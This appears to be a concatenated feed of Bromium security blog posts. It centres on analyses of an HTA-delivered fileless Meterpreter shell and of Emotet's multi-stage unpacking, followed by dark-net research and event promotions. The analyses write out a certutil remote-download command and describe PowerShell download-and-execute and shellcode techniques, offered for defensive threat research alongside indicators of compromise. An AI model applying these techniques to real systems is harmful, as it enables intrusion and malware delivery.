Posted by Josh Stroschein, Ratnesh Pandey and Alex Holland.

For an attack to succeed undetected, attackers need to limit the creation of file and network artifacts by their malware. In this post, we analyse an attack that illustrates two popular tactics to evade detection:

1. Avoiding saving file artifacts to disk by running malicious code directly in memory. These have been described as “fileless” attacks.[1]
2. Using legitimate programs built into an operating system to perform or facilitate malicious functionality, such as code execution, persistence, lateral movement and command and control (C2). The abuse of these programs is known as “living-off-the-land”.[2]

Our attack began with a user clicking on a hyperlink that took them to a website hosting a malicious HTA (HTML Application) file. The HTA file led to the execution of two stages of shellcode that ultimately resulted in a Meterpreter reverse HTTP shell session being established with a C2 server. The attack was successfully contained, however, because Bromium Secure Platform (BSP) isolates risky activities such as opening a web page within a micro-virtual machine. Consequently, the attacker was unable to gain a foothold in the network.

Although the use of HTA files is a well-understood technique to execute malicious code,[3] we thought this attack was worth exploring because of the steps the attacker took to reduce the footprint of the attack. These included executing multiple stages of shellcode directly in memory, applying information gained from reconnaissance of the target to disguise the attacker’s network traffic, and the use of living-off-the-land binaries.

It begins with an HTA file

After clicking the hyperlink, the target is prompted to save a file named sweepstakeApp.hta to disk. If the site is visited using Internet Explorer the target is prompted to run or save the file from their web browser (figure 1). This is significant because HTA files can only be opened directly from Internet Explorer or from Windows Explorer using Microsoft HTML Application Host (mshta.exe), but not from other web browsers. The decision to use an HTA file as the vector to execute the attacker’s code suggests a level of knowledge about how the targeted host was configured, such as the default web browser in use. HTA files allow developers to use the functionality of Internet Explorer’s engine, including its support for scripting languages such as VBScript and JavaScript, without its user interface and security features.[4]

Figure 1 – Prompt to open or save malicious HTA file in Internet Explorer.

The downloaded HTA file contains obfuscated VBScript code, as shown in figure 2. On execution, it launches two commands using powershell.exe and cmd.exe by instantiating a WScript.Shell object that enables scripts to interact with parts of the Windows shell. Meanwhile the user is shown a pop-up window with the supposed results of a gift card sweepstake (figure 3).

Figure 2 – Obfuscated VBScript code in the HTA file.

Figure 3 – Pop-up presenting the decoy application to the user.

The first command downloads an obfuscated PowerShell command from a URL using PowerShell’s WebClient.DownloadString method and then executes it in memory using the alias of the Invoke-Expression cmdlet, IEX.

Figure 4 – PowerShell command that downloads and runs an obfuscated script in memory.

Figure 5 – Obfuscated command downloaded using PowerShell.

Verifying the first stage of the infection

The second command launches a cmd.exe process which then runs certutil.exe, another program built into Windows which is used for managing digital certificates. The utility can also be used to download a file from a remote server. For example, by using the following command an attacker can download a file and save it locally:

certutil.exe -urlcache -split -f [URL] DestinationFile

In this case, however, the provided URL parameter was generated using %USERDOMAIN% and %USERNAME% environment variables on the target system and the destination file is called “null”.

Figure 6 – Certutil command to inform adversary of successful running of HTA file.

Navigating to the URL returns an HTTP 404 status code. Therefore, instead of downloading a file, this command is used to notify the attacker that the HTA file has successfully executed by sending a GET request to a web server controlled by the attacker containing the username and domain of the target host. The attacker can simply monitor their web server logs to determine which users successfully ran the HTA file.

Analysis of the obfuscated PowerShell command

The command downloaded by the PowerShell contains a compressed Base64 encoded string. After decoding and decompressing the string, it reveals another PowerShell command shown in figure 7.

Figure 7 – Deobfuscated PowerShell command.

The command in figure 7 contains an obfuscated string. First, the string is decoded from Base64. The result is then converted into a byte array and stored in a variable called $var_code. Finally, the script enters a For loop that iterates through the byte array and performs a bitwise XOR operation on each byte with a hard-coded value of 35 (base 10).

Figure 8 – For loop performing bitwise XOR operations on the byte array in $var_code.

Following deobfuscation, the output in figure 9 is produced. You can spot several recognisable strings including a web browser user agent, IP address and URL.

Figure 9 – First stage shellcode.

This is the first stage of shellcode, which PowerShell executes in memory using the delegate function VirtualAlloc. The function call allocates memory with a flAllocationType of 3000 (MEM_RESERVED and MEM_COMMIT) and memory protection permissions of PAGE_EXECUTE_READWRITE.

First stage shellcode analysis

Emulating the first stage of shellcode in scdbg reveals its functionality (figure 10). A call to LoadLibraryA is used to load the WinINet module into the process space of the calling process, in this case powershell.exe. WinINet is a standard Windows API that is used by software to communicate with resources on the Internet over HTTP and FTP protocols.

Next a call to InternetOpenA is made to initialise a network connection. This is followed by a call to InternetConnectA, which opens a HTTPS session to a remote server over TCP port 443. Afterwards, a HttpOpenRequestA is called to create a HTTP request to retrieve an object from the server (/pwn32.gif?pwnd=true). Since the lpszVerb parameter is null, the request will use the GET method. Several options are then configured using InternetSetOptionA. Finally, the request is sent in the call to HttpSendRequestA. We can see that a custom user agent string was defined, along with a cookie value:

Cookie: Session 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

The user agent string corresponds to Internet Explorer 11 on Windows 10. Significantly, the user agent string matches the version of Internet Explorer used on the targeted host, which is another indicator of the attacker’s knowledge of the targeted network. By mimicking the user agent string, the network traffic generated by the malware is more likely to blend in with the target organisation’s legitimate traffic.

Figure 10 – First stage shellcode emulated in scdbg.

Decompiling the shellcode confirms the findings of scdbg. The shellcode begins with typical position independent code (PIC) behaviour by calling function sub_88, whose first instruction is to load the top of the stack into the EBP register. This allows for the code to figure out a base address because the CALL instruction places the address of the next instruction onto the stack (figure 11).

Figure 11 – Call to sub_88.

Figure 12 – Popping the value at the top of the stack to EBP.

The malware author used stack strings to generate strings on the stack, although they appear to be used sparingly in the shellcode. This is an easy way of creating and using strings in shellcode, while also making the functionality of the shellcode harder to discover using standard string-finding utilities. Figure 12 shows the use of a stack string, which is used as an argument to a Windows API function call.

Resolving functions is also an important first step for shellcode. Since shellcode doesn’t go through the process of loading as a normal executable, it must resolve function addresses independently. This is often accomplished by using undocumented structures within a process and manually walking the export table of already loaded libraries. In addition, many shellcode authors will avoid using strings to find the functions they need. Instead, they’ll use pre-computed hash values. Their code will then compute the hash value of the library they need functions from and compare the hashes. This is not only a computationally inexpensive way of finding functions, but also complicates analysis as the analyst must correlate the hashes to the functions they represent. Figure 12 demonstrates the use of this technique, in that a seemingly random 4-byte value is pushed onto the stack before the call to EBP. EBP will contain the address of the function responsible for finding the desired function pointers and eventually executing those functions.

Figure 13 – Stack strings.

The call to EBP is the address after the original call instruction. This code begins by obtaining a pointer to the process environment block, or PEB, structure via FS:30h. This structure allows the code to obtain a doubly linked list of all libraries loaded in the process space. Walking this structure allows the code to find the base address of any library, then walk the export table to find function pointers. Therefore, this function is responsible for using the pre-computed hash to find all the functions called throughout the code and will be used repeatedly throughout.

If unfamiliar with how shellcode uses the PEB structure and parses the portable executable (PE) file format to find function pointers, it’s worth spending some time analysing this function. However, there is no need to get lost in this function for the purposes of this analysis. Instead, evidence of a non-standard function return can help determine when the function is done and allow an analyst to focus on tracing through the shellcode effectively. In this shellcode there is a non-standard return at the end – which is a JMP EAX (figure 14).

Figure 14 – Non-standard return.

At this point, the code is going to JMP into whatever function was resolved. You can use this function to help identify the functions called throughout the code.

Figure 15 – Function to resolve API names.

Further functions are called through the calls to EBP, with the appropriate arguments being placed on the stack before the call. This shellcode carries out the task of creating an HTTP reverse shell. To do that, it will use many core HTTP functions found within the WinINet library. This is in fact shellcode for the first stage of a Meterpreter reverse HTTP shell payload.[5] The default behaviour of a Metasploit reverse shell comes in two stages. The first, analysed above, functions as a downloader which grabs the second stage, which is the Meterpreter payload.

Functions used in this shellcode:

• LoadLibrary(WinINet)
• InternetOpenA
• InternetConnectA
• HttpOpenRequestA
• InternetSetOptionA
• HttpSendRequestA
• GetDesktopWindow
• InternetErrorDlg
• VirtualAllocStub
• InternetReadFile

Figure 16 – Process interaction graph as viewed in Bromium Controller.

Figure 17 – High severity events generated during the life cycle of this threat.

Mitigation

Endpoints that are running Bromium are protected from this threat because every user task, such as running an HTA file, is run in its own isolated micro-virtual machine or μVM. When the user closes a μVM, the virtual machine is destroyed along with the malware. The trace of threat data from the attack is recorded and presented in the Bromium Controller, enabling security teams to quickly gain detailed insights into the threats facing their organisations.

References

[1] https://zeltser.com/fileless-attacks/
[2] https://lolbas-project.github.io/
[3] https://attack.mitre.org/techniques/T1170/
[4] https://docs.microsoft.com/en-us/previous-versions//ms536471(v=vs.85)
[5] https://github.com/rapid7/metasploit-framework/wiki/Meterpreter

The post Congratulations, You’ve Won a Meterpreter Shell appeared first on Bromium.

Read More

The post Hackers choose subtler approach appeared first on Bromium.

Read more

The post Experts Comment: Verizon DBIR appeared first on Bromium.

This blog is a continuation of our blog series on the Emotet banking Trojan. So far, we have analysed Emotet’s delivery mechanism and its behaviour through dynamic analysis. The host and network data captured from Emotet found that it escalates its privileges by registering itself as a service, persists in multiple locations on the filesystem and finally deletes the dropper file.

Read part 1: Emotet: How It Might Infect Your PC

Read part 2: Emotet: Catch Me If You Can

In this post, we demonstrate how the main payload is unpacked and follow its execution after unpacking in a debugger. The execution of Emotet comprises multiple stages of obfuscated executables that are loaded into memory and has an elaborate code flow through different memory regions. These are designed to make it harder for analysts, static analysis engines and disassemblers to analyse the Trojan.

We also describe how early on in the unpacking code Emotet checks for the existence of a registry key. If the registry key is not accessible, the payload is not unpacked and run. We found that blocking read access to the key is an effective way to prevent Emotet payloads from running.

In part two, we discussed how Emotet acts as a dropper of other malware families and how this is an indication that its operators have adopted a malware-as-a-service business model. Our analysis of an Emotet executable called 15.exe ultimately dropped Trickbot, another banking Trojan. As highlighted in the Bromium Threat Insights Report for April 2019, we continue to see a high volume of Emotet, and it is among the top threats that Bromium isolates.

On computers that have Bromium installed, Emotet runs in an isolated micro virtual machine without damaging the integrity of the system. Since the malware runs dynamically it produces indicators of compromise (IOCs) that can be used by security teams to defend other parts of a network.

Emotet’s packer

The main purpose of a packer is to compress and encrypt a portable executable (PE) file. The encrypted payload is unpacked at runtime and the unpacking code then passes execution to the newly unpacked code. For malware authors, packers help evade detection by making static analysis of the binary more difficult. Emotet’s packer is polymorphic which makes it even trickier for signature-based detection tools to profile the sample based on the footprint of the packer.

• Filename: 15.exe
• Size: 428808 bytes
• MD5: 322F9CA84DFA866CB719B7AECC249905
• SHA1: 147DDEB14BFCC1FF2EE7EF6470CA9A720E61AEAA
• SHA256: AF2F82ADF716209CD5BA1C98D0DCD2D9A171BB0963648BD8BD962EDB52761241

Let’s look at the PE file. Its resource section takes up a significant proportion of the total size of the file (51%), which is an indication that the malware might be packed.

Figure 1 – Resource section consuming more than half of the binary.

Looking at the resource (.rsrc) section reveals two anomalous resources called EXCEPT and CALIBRATE. The high entropy and large size of EXCEPT suggests that this might be an encrypted payload. Dumping the resource confirms that it contains encrypted data. In some samples we found that a decrypted PE file is dropped from the .data section.

Figure 2 – Anomalous resources called EXCEPT and CALIBRATE.

Figure 3 – Encrypted data in EXCEPT.

Emotet is modular and uses anti-analysis techniques such as sandbox detection to evade analysis. An unpacked Emotet binary contains hundreds of functions. When the suspected packed sample is opened in a disassembler such as Ghidra, only a handful of functions are identified. This is another indication that the binary is packed.

Figure 4 – List of functions identified by Ghidra in the packed Emotet sample.

Packer registry check

During our analysis of the packer code, we noticed a function that generates an array of chars and has a conditional while(true) infinite loop. This finding made us curious whether we could trigger the infinite loop to stop the execution of the unpacking code, thereby preventing the main Emotet payload from running. The function works by reading a Windows Registry key through a call to RegOpenKeyA. If the key isn’t found, the malware enters an infinite loop (figure 5).

Figure 5 – Function that checks for the existence of “interface\{aa5b6a80-b834-11d0-932f-00a0c90dcaa9}” in the registry.

Function FUN_00401a90 decodes a string with the value “interface\{aa5b6a80-b834-11d0-932f-00a0c90dcaa9}” which is passed as a parameter to RegOpenKeyA. This registry key is required for the Windows scripting engine interface IActiveScriptParseProcedure32 to function. Specifically, the interface parses a given code procedure and adds the procedure to the namespace.

Figure 6 – RegOpenKeyA parameters.

We reviewed other samples of Emotet for similar functions. Interestingly, upon execution all the samples either exited the main thread or entered an infinite loop in the absence of this registry key.

• Filename: 891.exe
• First submitted to VirusTotal: 08/05/2019
• MD5: BD3B9E60EA96C2A0F7838E1362BBF266
• SHA1: 62C1BEFA98D925C7D65F8DC89504B7FBB82A6FE3
• SHA256: 28E3736F37222E7FBC4CDE3E0CC31F88E3BFC16CC5C889B326A2F74F46E415AC

Figure 7 – Main thread goes into an infinite loop in the absence of the registry key.

• Filename: 448.exe
• First submitted to VirusTotal: 07/03/2019
• MD5: 193643AB7C0B289F5DE3963E4ADC1563
• SHA1: B14290BFAE015D37EBA7EDD8F5067AD5E238CC68
• SHA256: FD9E5C47F9AEB47F5E720D42DD4B8AD231EE3BA5270E3FBD126FC8C6F399D243

Figure 8 – Main thread exits in the absence of the registry key.

Binary analysis with a debugger

To confirm our suspicions that 15.exe is a packed Emotet binary, let’s open it in x64dbg and check its mapped memory region. In the optional header of 15.exe, address space layout randomisation (ASLR) is disabled, which means that if possible the module is loaded into memory at its preferred base address of 0x400000.

Stage 1

One of the imported functions in 15.exe is VirtualAllocEx. This function is used to allocate memory in a remote process and is often used by malware for process injection. We will start by putting a breakpoint on the return address for VirtualAllocEx.

Figure 9 – Memory mapped sections of 15.exe.

If we run until the breakpoint, we see that Emotet creates an allocation of memory at 0x00220000. It then copies a code stub from the .data section of the mapped image at 0x00422200 (file offset 0x0001FE00) to the newly allocated memory space and gives control to it.

Figure 10 – Allocation of memory at 0x00220000.

Emotet then deobfuscates API and DLL names from the code copied to 0x00220000.

Figure 11 – Deobfuscating LoadLibraryExA and kernel32.dll.

Figure 12 – Deobfuscating VirtualAlloc.

It then calls GetProcAddress from kernel32.dll to get the addresses of the decoded API names.

Figure 13 – GetProcAddress API being called from the code stub at 0x00220000 to retrieve the addresses of exported APIs from the mapped image of kernel32.dll.

First, the address of LoadLibraryExA is retrieved in this way. It then uses this address to load kernel32.dll into the address space at 0x766D00000. Afterwards, it uses the handle to the loaded module kernel32.dll to call GetProcAddress on the list of functions below:

• LoadLibraryExA
• GetProcAddress
• VirtualAlloc
• SetFilePointer
• LstrlenA
• LstrcatA
• VirtualProtect
• UnmapViewOfFile
• GetModuleHandleA
• WriteFile
• CloseHandle
• VirtualFree
• GetTempPathA
• CreateFileA

Figure 14 – Call to GetProcAddress to get the address of LoadLibraryExA.

Figure 15 – Call to LoadLibraryExA to load kernel32.dll into memory.

Figure 16 – Deobfuscated API names whose addresses are resolved.

One of the interesting things to note is that Emotet calls GetProcAddress for an invalid API called “mknjht34tfserdgfwGetProcAddress”. Since this is invalid, the function returns a null value with an error code of 0000007F (ERROR_PROC_NOT_FOUND). In all the Emotet samples we reviewed a call was made to GetProcAddress for this invalid function name.

Figure 17 – Call to GetProcAddress for an invalid API.

Figure 18 – Call to GetProcAddress to fetch the address of GetProcAddress.

Figure 19 – Function addresses of APIs saved on the stack.

Once the code stub has retrieved the function addresses, VirtualAlloc is called to allocate another memory region where it writes the deciphered PE file from the .data section of 15.exe, rather than from the .rsrc section.

Figure 20 – Allocation of memory at address 0x00240000.

Figure 21 – Stub writes PE file at address 0x00240000.

Emotet binary dumped from 0x00240000

• Filename: emotet_dumped_240000.exe
• MD5: D623BD93618B6BCA25AB259DE21E8E12
• SHA1: BBE1BFC57E8279ADDF2183F8E29B90CFA6DD88B4
• SHA256: 01F86613FD39E5A3EDCF49B101154020A7A3382758F36D875B12A94294FBF0EA
• Bromium Cloud Classification: Win32.Trojan.Emotet

Dumping the executable and examining it reveals that it is another packed Emotet binary that contains the main payload. We have seen in some Emotet samples that the first mapped decrypted executable cannot be directly run after dumping it from memory, but this sample was able to run.

Pestudio identifies several suspicious characteristics about this file, including the absence of imports, the detection of a packer signature “Stranik 1.3 Modula/C/Pascal” and that the file may contain another file.

Figure 22 – Suspicious indicators about emotet_dumped_240000.exe identified by pestudio.

Figure 23 – Bromium Controller process interaction graph of emotet_dumped_240000.exe. It launches itself and creates service a called “ipropmini”, which closely matches the behaviour shown by 15.exe.

Figure 24 – Bromium Controller view of high severity events detected for emotet_dumped_240000.exe.

Stage 2

After writing and decrypting the executable file at 0x00240000, the code stub allocates another memory region at address 0x00260000 using VirtualAllocEx. After allocating memory, it reads the payload from memory region 0x00240000 and writes it to 0x00260000.

Figure 25 – Call to VirtualAllocEx to allocate memory at 0x00260000.

Figure 26 – Stub writes the main Emotet payload at 0x00260000.

After writing the main Emotet payload at 0x00260000, the code stub then inserts hooks and JMP instructions in the code (figure 28). Emotet does this to make code analysis trickier and to confuse disassemblers.

After the hooks are in place the payload becomes dependent on another memory region to run which means that dumping to disk will not allow it to run even after fixing the alignment and raw offsets of the PE file’s sections.

Figure 27 – Execution error for dumped PE file from virtual address 0x00260000.

Figure 28 – Modification of executable located at 0x00260000 by the code stub.

Stage 3

Once the payload is modified and ready at 0x00260000, the stub calls UnmapViewOfFile to unmap 15.exe from 0x00400000, which is the memory region that the first Emotet image was loaded into. It then allocates a new memory region at 0x00400000 that is the same size of the payload at 0x00260000 (15000 bytes). After allocating the new memory region, it then copies the modified payload to 0x00400000. This is a process injection technique where the malware modifies its binary in memory and then overwrites itself.

Figure 29 – Emotet unmaps the loaded image 15.exe from 0x00400000.

Figure 30 – Memory map view after image 15.exe is unmapped.

Figure 31 – Newly allocated memory at 0x00400000.

Figure 32 – Memory view after allocation at 0x00400000.

Figure 33 – Copying of the payload from 0x00260000 to 0x00400000.

Stage 4

After copying the payload into 0x00400000, Emotet resolves API names and then transfers execution flow to the payload. In this case, it transfers execution to 0x0040C730, which then calls a function that resolves hashes that correspond to API names.

The main Emotet payload makes it hard for an analyst to follow the code flow because of how strings that might give an insight into the functionality of the malware are obfuscated.

Figure 34 – Pass list of API hashes to deobfuscation function for name resolution.

Figure 35 – Resolution of API names from ntdll.dll and kernel32.dll.

After API name resolution, GetCurrentProcessId is called to get the process ID (PID) of Emotet‘s running process. Afterwards, Emotet iterates through all running processes to find its module name and parent PID. Once it finds its parent PID, it creates two mutexes with the format PEM%X. One of the mutexes is created using the parent process ID (PEM[PPID]) and the other uses its own PID (PEM[PID]).

After creating these mutexes, it calls CreateEventW to create an event using the format PEE%X, where %X is its parent PID. If both mutexes are successfully created, it launches 15.exe again from the same path. After launching the child process, it calls WaitForSingleObject on the PEE%X event.

We have seen in some of the Emotet samples that it launches child process with a command line switch. This command line switches are an indication that an Emotet process has been launched as a child process and has to perform a designated task.

The launched child process does everything same until it evaluates whether to create the two mutexes described above. This time the call to CreateMutex for mutex PEM[PPID] fails with the error “ERROR_ALREADY_EXISTS”. After the mutex creation fails in the child process, it signals the event PEE[PPID] to the parent process 15.exe. The parent process exits from a waiting state and then terminates itself.

Figure 36 – Control flow graph which shows the decision to launch a child process based on calls to CreateMutex and CreateEvent.

Figure 37 – PIDs of Emotet child process 15.exe (1352 or 0x548) and Parent PID (3520 or 0xDC0).

Figure 38 – CreateMutex call on mutex object name PEMDC0, where 0xDC0 is the parent PID.

Figure 39 – CreateMutex call on mutex object name PEM548, where 0x548 is the PID of Emotet process 15.exe.

Figure 40 – CreateEventW call on event object name PEE548, where 0x548 is the PID of Emotet process 15.exe.

The launched child process then creates a service called “ipropmini” and establishes command and control (C2) communications.

Summary

Figure 41 – Summarised view of payload unpacking steps.

• The dropped Emotet binary (15.exe) allocates a new memory region with execute permission and writes a code stub there (figure 41, memory region 1).
• The stub decrypts an embedded PE file from the .data section of the image and writes it in the new memory region (figure 41, memory region 2).
• The file written to memory region 2 is a valid PE file that is another Emotet binary and can be dumped and executed without needing to fix its relocations.
• The stub from memory region 1 allocates a new region with execute permission (figure 31, memory region 3).
• The stub reads an embedded payload from memory region 2 and writes it to memory region 3.
• After writing the payload to memory region 3, it then modifies it by inserting new code and trampolines.
• Once the payload is ready in memory region 3, it unmaps the 15.exe image.
• After unmapping the image, it allocates a new region of the same size as memory region 3 with execute permission and copies the payload from memory region 3 to the newly allocated region (figure 41, memory region 4).
• The stub then passes execution to memory region 4, which launches the main Emotet payload.

Conclusion

Emotet uses a layered approach to unpack its main payload. It performs a self-injection technique to execute the payload in memory after modifying its mapped image. As the payload is never written to the filesystem and contains hooks and JMP instructions, it can easily evade anti-virus and detection based on dynamic code analysis.

Indicators of Compromise

The Emotet dropper can be stopped by blocking read access to the registry keys below. Since the dropper will enter an infinite loop or end the process, it will not harm the integrity of the system because the conditional branch occurs before the payload is executed.

• For 32-bit systems:
  • HKEY_CLASSES_ROOT\Interface\{AA5B6A80-B834-11D0-932F-00A0C90DCAA9}
• For 64-bit systems:
  • HKEY_CLASSES_ROOT\Wow6432Node\Interface\{AA5B6A80-B834-11D0-932F-00A0C90DCAA9}

The Emotet dropper can be detected in the following ways:

1. Monitoring read accesses to the registry key “Interface\{AA5B6A80-B834-11D0-932F-00A0C90DCAA9}” by processes launched from globally writable directories, such as %USERPROFILE% and %TEMP%.
2. Monitoring API calls to GetProcAddress for the function name “mknjht34tfserdgfwGetProcAddress”.
3. Monitoring the sequence of API calls to GetProcAddress can be used as a heuristic.

The post The Emotet-ion Game (Part 3) appeared first on Bromium.

• Presenting the findings of my latest report, ‘Behind the Dark Net Black Mirror,’ on Thursday 6^th June at Infosecurity Europe 2019
• Offering insights from conversations with dark net vendors offering targeted attacks against the FTSE 500

After the culmination of months of study, the newest addition to the Web of Profit series – ‘Behind the Dark Net Black Mirror’ – will be going live on Thursday 6^th June. The release will coincide with my speaking slot at Infosecurity Europe – the largest dedicated cybersecurity event in Europe. I feel privileged to have been invited to speak at the show, and excited to share the findings of this extremely illuminating report.

This report is the latest chapter in the Into the Web of Profit series, which I have been working with Bromium on for the past two years. The latest installment, which I will present the findings of next week, offers a detailed account of the various threats originating on the dark net that are being targeted against the enterprise.

‘Behind the Dark Net Black Mirror’

This has been an exciting period of research; there’s no doubt the dark net is a unique place. It’s shrouded in mystery and exploring it was thrilling, as well as worrying. I delved into this complex world and uncovered threats and risks that were truly shocking. To really get to the bottom of what’s happening in the dark net, I examined more than 70,000 listings on dark net platforms, analysing a number of factors – including what commodities are on sale, prices, attack vectors, patterns of trading, and more.

We obtained memberships to three key forums, which allowed us to observe, gather intelligence, and engage with vendors in a covert way; encouraging these vendors to be pretty candid with us about what they can do. This research was also supplemented through interviews and analysis from an expert global panel of law enforcement, governments, and cybersecurity experts.

During my presentation, I will be talking through what I encountered during my research; the variety of off-the-shelf tools that are being sold online, as well as the prevalence of targeted services for corporate espionage. I will also be outlining the conversations I had with criminal vendors who were offering services targeting FTSE 100 and Fortune 500 companies.

Essentially, anyone with time and a motive looking for malware or sensitive IP to cause reputational damage, has a tailormade marketplace to attack whenever and whoever they want. Even in a comparatively short amount of time I was able to find highly targeted espionage services. There were also numerous instances of bespoke services for specific industries, reinforcing just how savvy cybercriminals have become about the weak spots in organisations’ defences.

Shedding light on the Dark net

Make sure you look out for the report on June 6^th and if you’re in London at the same time, come along to Infosecurity Europe 2019 for my session at 13:00 (BST) in the Geek Street track. I hope to see you there.

The post Back Into The Web of Profit: Going Undercover in the Dark Net, Uncovering Threats to the Enterprise appeared first on Bromium.

The post Phishing campaign impersonates email alerts from DHS appeared first on Bromium.

The post US CERT Warns of DHS Phishing Scam appeared first on Bromium.

The post That Homeland Security alert may be a scam appeared first on Bromium.

The post Department of Homeland Security phishing scam alert appeared first on Bromium.

The post US insurance giant Dominion National took 9 years to detect security breach appeared first on Bromium.

The post Data Breach Likely Compromised Private Consumer Information for 10% of Delaware’s Population appeared first on Bromium.

• The dark net poses a serious risk to organisations, with many vendors offering vertical-specific malware or network access
• Greater awareness of dark net threats is vital to mitigate risk

My latest foray into the Web of Profit, Behind the Dark Net Black Mirror, detailed the growing risk posed by the dark net to the enterprise. During my dive into the depths of the dark net, we identified that there had been a 20% rise in the number of dark net listings with a direct potential to harm the enterprise since 2016.

What was most fascinating to see was how the dark net economy was catering for an increased demand for targeting businesses in particular vertical industries. Vendors were offering a range of malware targeting specific industries, and even corporate network access.

Malware is the frontrunner

During my conversations with dark net vendors, it became increasingly obvious they were more than willing to cater to our needs. Malware, perhaps unsurprisingly, is one of the most popular tools being sold on the dark net – making up 25% of all network compromise tools.

One of the most worrying aspects of this was the availability of vertical-specific attacks. Of the malware listings we found, banking was the most targeted vertical sector (34% of listings), with retail (20%), healthcare (15%) and education (12%) following behind. Due to the more targeted nature of these malware variants, we often found they were the priciest. One of the most expensive pieces of malware found was designed to target bank ATMs (via ATM logic attacks) and retailed for approximately $1,500.

Network access, a multiplying threat

But it’s not just malware. Within every dark net market we peered into, we found vendors offering ways of accessing specific corporate networks. Access to networks belonging to healthcare companies made up 24% of listings, with banking at 18% and retail at 16%. The methods of gaining access varied dramatically, from stolen IT admin credentials, to exploiting remote desktop protocols, installing backdoors and more.

However, when looking at access, there was a clear preference for remote access Trojans, which would allow hackers to take screenshots or access sensitive information. We found them being listed around five times as often as keyloggers and backdoors. This style of attack appears to be in vogue at the moment – one of the more popular RATs is Ramnit, which has become a much more prevalent threat to banks in recent years, including a spate of attacks in West Africa.

Steps for vertical sectors

If there’s one thing that my time on the dark net has revealed, it’s that the thriving markets poses a grave threat to vertical industries. There is a need for greater awareness of the threats posed by the dark net in order to help build cybersecurity capacities to manage it, but also greater investment in user education to help protect against threats from the dark net. Solving the challenge of taming this lawless domain will never be easy, and to curb it entirely may be impossible – but measures can be taken to help organisations defend themselves.

If you’d like to learn more about the dark net threat to the enterprise, please download a copy of Behind the Dark Net Black Mirror. And be sure to join me on July 18 as I discuss my findings on a live webinar with Bromium’s Kimberly Becan. Register for the webinar.

The post The Dark Net Diversifies: How Vendors Make a Living Selling Vertical-Specific Threats appeared first on Bromium.

• Visit Bromium at the (ISC)² Secure Summit in Denver on June 28
• Robert Wiggenhorn is presenting: “How hackers evade your AI-enabled endpoint detection tools”
• Stop by our exhibitor table to see Bromium solutions in action and to chat with our security experts

The main goal of the (ISC)² Secure Summit is to educate today’s security leaders on the latest tools and techniques available to combat a growing threat of cybercrime and cyber terrorism.  This year’s event is encouraging presenters and exhibitors to demonstrate new and effective approaches that could effectively combat threats to the enterprise and to national security.

Bromium’s Robert Wiggenhorn, Sr. Director of Professional Services, is among the speakers at this event, and his session is focused on how modern malware continues to circumvent even the most advanced enterprise endpoint security tools, including AI and Machine Learning-based technologies. Robert will discuss why traditional security tools are no longer able to protect the enterprise against ever-changing and evolving threats, and demonstrate new strategies that today’s enterprises can employ to protect their endpoints and networks against increasingly sophisticated cyberattacks.

Bromium will also have a table at the exhibitor section, and we invite you to stop by and have a chat with our security experts. You can learn about how virtualization-based security works differently than traditional, detection-based endpoint security approaches; see a live demo of the Bromium Secure Platform; and discuss your organization’s most pressing security concerns. Be sure to enter the raffle for Apple AirPods.

We hope to see you at Robert’s presentation and at the Bromium table! Or find us during one of the networking events, and we would be happy to arrange for a follow-up meeting.

Need more information about Bromium? Contact us, and we will get in touch shortly!

The post See Bromium at (ISC)2 Secure Summit appeared first on Bromium.

The post Dark net criminals hone in on enterprises appeared first on Bromium.

The post 7 Ways the Hidden World of the Darknet Is Evolving appeared first on Bromium.

Posted by Ratnesh Pandey, Alex Holland and Toby Gray.

In June 2019, Microsoft issued warnings about a phishing campaign delivering a new variant of the FlawedAmmyy remote access Trojan (RAT), and a spike in the exploitation of CVE-2017-11882 in the wild. In this blog post we take a look at some of the weaknesses of detect-to-protect technologies such as antivirus, endpoint detection and response (EDR) and anomaly detection systems, and how Bromium’s protect-before-you-detect technology addresses these weaknesses.

With detect-to-protect technologies that rely on signature updates, such as antivirus, there is a time lag from when novel malware infects a system to when it can be detected because updating and deploying new signatures takes time. This time lag increases the dwell time that the malware is resident on a system, providing a window of opportunity to an adversary to act on their objectives. 

Detection using behavioural analytics, as used by EDR, has the same flaw in that these solutions also rely on rule updates. Additionally, to get the best out of EDR, they typically require considerable tuning. Without investing considerable time and effort into creating a baseline of the monitored environment, EDR tools tend to generate a lot of false positives, particularly when trying to detect the malicious use of high risk living off the land binaries (LOLBins). 

Many EDR solutions can contain infected devices from the rest of the network to stop lateral movement, but only after systems have been compromised, meaning that organisations still need to perform expensive eradication and recovery activities. Anomaly detection systems, such as those based on machine learning, also come with the penalty of remediation costs. Remediation can be an expensive affair because of the cost of conducting forensic investigations, rebuilding systems and lost productivity. Often companies pay more on remediation than the licensing cost of their security solutions. 

According to Google Project Zero, it takes 15 days on average for a vendor to patch a zero-day vulnerability that is actively being exploited in the wild. Add to that the 20 days on average it takes for US federal departments to patch critical vulnerabilities and the result is that organisations are exposed to a significant window of vulnerability by zero-day exploits, even with good patch management.  

Gartner recognises the value of application isolation to stop breaches. In a 2018 report, Gartner vice president Neil MacDonald argued that isolation and containment technologies are an important part of preventing damage from attacks.  

Timeline of events – June 2019 

Figure 1 – Timeline of notable security events in June 2019.

Malware Trends 

Here are a few of the malware trends we have observed in the first half of 2019: 

• Downloaders that exploit old Windows vulnerabilities to achieve code execution, particularly CVE-2017-11882, CVE-2017-0199, CVE-2017-8570 and CVE-2018-0802. 
• Malware that runs entirely in memory and does not save artefacts to disk (fileless malware). 
• Malware that uses LOLBins to perform common malware functionality such as reconnaissance, persistence, and command and control (C2). LOLBins we regularly see include CertUtil, BITSAdmin, MSHTA and PowerShell. 
• Malware signed with valid code-signing certificates to reduce the likelihood of being detected. A signed binary with a valid certificate is still considered as a marker of trust. We notice that attackers commonly abuse certificates from two certificate authorities, Thawte and Sectigo.  
• Downloaders that check the language of the infected system to determine whether to download a secondary payload. Our colleague, Joe Darbyshire, recently looked at how attackers are using creative ways of determining the language settings of infected systems to target their malware to specific groups of users.  
• The growing use of social media as an enabler of cybercrime by providing easy access to hacking tools, tutorials, expertise, including Malware as a Service (MaaS), to anyone who is willing to pay. 
• Malware packed using polymorphic packers, which significantly change the signature of the binary. 

Revisiting Defence-in-Depth 

One of the most common network security architectures is defence-in-depth (DID). The idea behind DID is to layer different security technologies to defend against common attack vectors, so that attacks missed by one technology are caught by another. There has been some work to measure the effectiveness of any given DID posture by calculating its qualities of depth, width and strength. 

